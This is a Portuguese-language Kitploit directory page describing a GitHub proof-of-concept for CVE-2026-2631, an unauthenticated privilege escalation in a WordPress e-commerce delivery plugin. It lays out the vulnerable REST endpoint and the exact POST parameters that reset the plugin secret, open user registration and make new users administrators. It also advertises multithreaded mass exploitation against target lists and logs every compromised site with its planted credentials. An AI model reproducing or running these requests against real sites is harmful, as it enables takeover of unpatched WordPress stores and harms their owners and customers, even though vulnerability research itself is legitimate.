Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-2631 — Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalação de Privilégios Não Autenticada | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2026-2631
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubnxploited/cve-2026-2631

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalação de Privilégios Não Autenticada

Ver Repositório
36há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalonamento de Privilégios Não Autenticado

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Escalonamento de Privilégios Não Autenticado

PoC / Script de Exploit: CVE-2026-2631.py
Autor: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contato: Telegram: @Kxploit


🧬 Visão Geral da Vulnerabilidade

  • Plugin: Datalogics Ecommerce Delivery – Datalogics (WordPress)
  • Versões Afetadas: < 2.6.60 (anteriores a esta versão)
  • Tipo de Vulnerabilidade: Escalonamento de Privilégios Não Autenticado
  • CVE: CVE-2026-2631
  • CVSS v3.1: 9.8 (Critical)
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Publicado Publicamente: 12 de março de 2026
  • Última Atualização: 19 de março de 2026
  • Pesquisador: Khaled Alenazi (Nxploited)

O plugin Datalogics Ecommerce Delivery – Datalogics expõe um endpoint não autenticado:

/wp-json/gsf/v1/update-options

Este script abusa desse endpoint para:

  1. 💣 Redefinir a chave interna shop_secret usando a ação vulnerável resetStoreConfigrations.
  2. 🔓 Habilitar o registro de usuários: users_can_register = 1.
  3. 👑 Definir a função padrão de novos usuários como administrator: default_role = administrator.
  4. 🧑‍💻 Registrar automaticamente um novo usuário pelo formulário de registro do WordPress:
    • wp-login.php?action=register

Se bem-sucedido, qualquer novo usuário criado pelo formulário de registro será um administrador.


⚙️ Recursos

  • ✅ Exploração em massa contra múltiplos alvos WordPress (a partir de um arquivo).
  • ✅ Não autenticado (não requer login/cookies).
  • ✅ Redefinição automática do shop_secret por meio do endpoint REST vulnerável.
  • ✅ Atualização automática de opções do WordPress:
    • users_can_register = 1
    • default_role = administrator
  • ✅ Registro automático de conta com credenciais personalizadas.
  • ✅ Saída TUI avançada usando rich (tabela colorida e atualizada em tempo real).
  • ✅ Multithread com número de threads ajustável.
  • ✅ Registro de resultados em Login_admin.txt.

📦 Requisitos

🐍 Ambiente de Execução

  • Python 3.x (recomendado 3.8+)

📚 Pacotes Python

Instale os pacotes necessários:

pip install -r requirements.txt

Exemplo de requirements.txt:

requests
rich
urllib3

Ou instale manualmente:

pip install requests rich urllib3

🧪 Lógica do Script (Fluxo de Alto Nível)

Para cada alvo:

  1. Normalizar URL

    • Garante que http:// seja adicionado caso esteja ausente.
    • Remove as barras finais.
  2. Redefinir shop_secret

    • Endpoint:
      /wp-json/gsf/v1/update-options
    • Dados POST:
      • action = resetStoreConfigrations
      • shop_secret = <new_secret>
    • Procura pelo texto de resposta:
      • app secret key has been updated successfully
  3. Atualizar Opções do WordPress

    • Mesmo endpoint, com:
      • action = createUpdateOption
    • Duas atualizações de opção:
      1. option_key = users_can_register, option_value = 1
      2. option_key = default_role, option_value = administrator
    • Padrão de sucesso:
      • wordpress option has been created or updated successfully
  4. Verificar se o Registro Está Aberto

    • URL:
      /wp-login.php?action=register
    • Verifica no HTML por:
      • Users can register, Anyone can register, user_registration, registerform
    • Ou detecta explicitamente:
      • user registration is currently not allowed
  5. Tentar Registrar Usuário

    • Mesma URL de registro.
    • Extrai _wpnonce de um campo oculto, se presente.
    • Envia o POST de registro:
      • user_login, user_email
      • user_pass/user_pass2 se os campos de senha existirem
      • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
    • Detecta sucesso por:
      • registration complete, check your email, user registered
    • Se o nome de usuário já existir:
      • Marca como sucesso: user_already_exists
  6. Registro (Logging)

    • Cada atualização de opção bem-sucedida (com ou sem sucesso no registro) grava uma linha em:
      • Login_admin.txt
    • Formato:
      <site> | register_url: <url> | shop_secret: <secret> | <details>
      

🧵 Modelo de Multithreading

  • Lê todos os alvos de list.txt (ou arquivo personalizado).
  • Divide os alvos em N blocos usando chunkify.
  • Inicia N threads de trabalho, cada uma processando sua própria lista de alvos.
  • Usa uma Queue compartilhada para mensagens de status para a thread de impressão.
  • Uma thread de impressão dedicada (printer_loop) atualiza uma tabela rich ao vivo:
    • Exibe índice, site, status (SUCCESS/FAILED/ERROR) e detalhe.
    • Exibe o total processado e o nome do arquivo de saída.

🚀 Uso

1️⃣ Execução Básica

python3 CVE-2026-2631.py

Você receberá as seguintes solicitações interativas:

  1. Arquivo de alvos

    • Prompt: Targets file (one host/URL per line) [list.txt]:
    • Padrão: list.txt
    • Cada linha: domínio ou URL completa
      • Exemplos:
        • victim.com
        • https://target-site.com
        • http://example.org/blog
  2. Threads

    • Prompt: Threads (1-50) [10]:
    • Padrão: 10
    • Máximo: 50
      Mais threads = mais rápido, porém maior carga no seu sistema e nos alvos.
  3. Valor do shop_secret

    • Prompt: shop_secret [Nxploited_newSecret]:
    • Padrão: Nxploited_newSecret
      Esta é a nova chave secreta enviada para resetStoreConfigrations.
  4. Credenciais de registro

    • Registration username [Nx_test1]:
    • Registration email [[email protected]]:
    • Registration password [Nx_adminSA]:

Essas credenciais serão usadas na tentativa de registro em cada alvo vulnerável.


2️⃣ Formato do Arquivo de Alvos

Crie um list.txt (ou qualquer arquivo desejado) com um alvo por linha:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

O script irá:

  • Adicionar http:// automaticamente se estiver ausente.
  • Remover a / final.

3️⃣ Saída e Resultados

  • Todas as operações bem-sucedidas (mesmo se o registro de usuário falhar, mas as opções forem definidas) são gravadas em:

    Login_admin.txt

  • Uma linha típica:

    http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
    
  • Exemplos de status na tabela ao vivo:

    • ✅ SUCCESS – opções definidas e/ou usuário registrado.
    • ❌ FAILED – redefinição/opções falharam, vulnerabilidade não explorável.
    • ⚠️ ERROR – Exceção, erros de rede, timeouts, etc.

🧱 Endpoints e Parâmetros HTTP

🔓 Endpoint REST Vulnerável

POST /wp-json/gsf/v1/update-options

1. Redefinir shop_secret

action=resetStoreConfigrations
shop_secret=<new_secret>

2. Atualizar Opções

action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Endpoint de Registro

GET/POST /wp-login.php?action=register

O script:

  • Extrai _wpnonce se presente.
  • Envia os dados de registro com o nome de usuário, e-mail e senha fornecidos (se os campos existirem).

🔧 Funcionamento Interno do Script (Principais Funções)

  • normalize_site(raw: str) -> str
    Normaliza as URLs dos alvos.

  • send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
    Tenta a ação resetStoreConfigrations.

Baixar ferramenta